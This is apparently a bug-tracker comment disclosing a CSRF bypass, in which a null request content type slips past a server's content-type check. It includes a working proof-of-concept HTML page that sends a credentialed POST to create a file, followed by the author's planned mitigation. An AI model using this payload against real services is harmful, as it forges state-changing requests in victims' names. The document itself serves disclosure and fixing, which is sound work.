> As per [0] the CSRF content-type check does not include a null request content type. This can be exploited to create a resource via CSRF like so:
> {code}
> <html>
>   <body>
>     <script>
>       function submitRequest()
>       {
>         var xhr = new XMLHttpRequest();
>         xhr.open("POST", "http://localhost:42427/test/csrf.txt", true);
>         xhr.withCredentials = true;
>         var body = "This file has been uploaded via CSRF.=\r\n";
>         var aBody = new Uint8Array(body.length);
>         for (var i = 0; i < aBody.length; i++)
>           aBody[i] = body.charCodeAt(i); 
>         xhr.send(new Blob([aBody]));
>       }
>     </script>
>     <form action="#">
>       <input type="button" value="Submit request" onclick="submitRequest();" />
>     </form>
>   </body>
> </html>
> {code}
> I will mitigate this particular issue by including a null content type in the list of rejected content types.
